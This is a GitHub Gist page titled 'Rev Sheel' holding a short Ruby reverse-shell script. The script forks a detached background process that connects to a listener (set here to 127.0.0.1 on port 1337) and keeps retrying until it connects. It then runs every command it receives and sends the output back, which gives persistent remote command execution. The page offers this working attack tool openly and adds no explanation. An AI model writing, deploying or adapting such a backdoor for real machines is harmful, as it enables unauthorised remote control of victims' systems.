Created
October 22, 2025 18:29
-
-
Save karmatr0n/428d725eb414dc747dd2e4eb67cd9699 to your computer and use it in GitHub Desktop.
Rev Sheel
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| require 'socket' | |
| require 'open3' | |
| pid = Process.fork do | |
| RHOST = '127.0.0.1' | |
| PORT = 1337 | |
| begin | |
| socket = TCPSocket.new(RHOST, PORT) | |
| socket.print('$ ') | |
| rescue | |
| sleep 20 | |
| retry | |
| end | |
| begin | |
| while cmd = socket.gets | |
| Open3.popen2e(cmd) do |stdin, stdout_and_stderr| | |
| IO.copy_stream(stdout_and_stderr, socket) | |
| socket.print("\n$ ") | |
| end | |
| end | |
| rescue | |
| retry | |
| end | |
| end | |
| Process.detach(pid) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment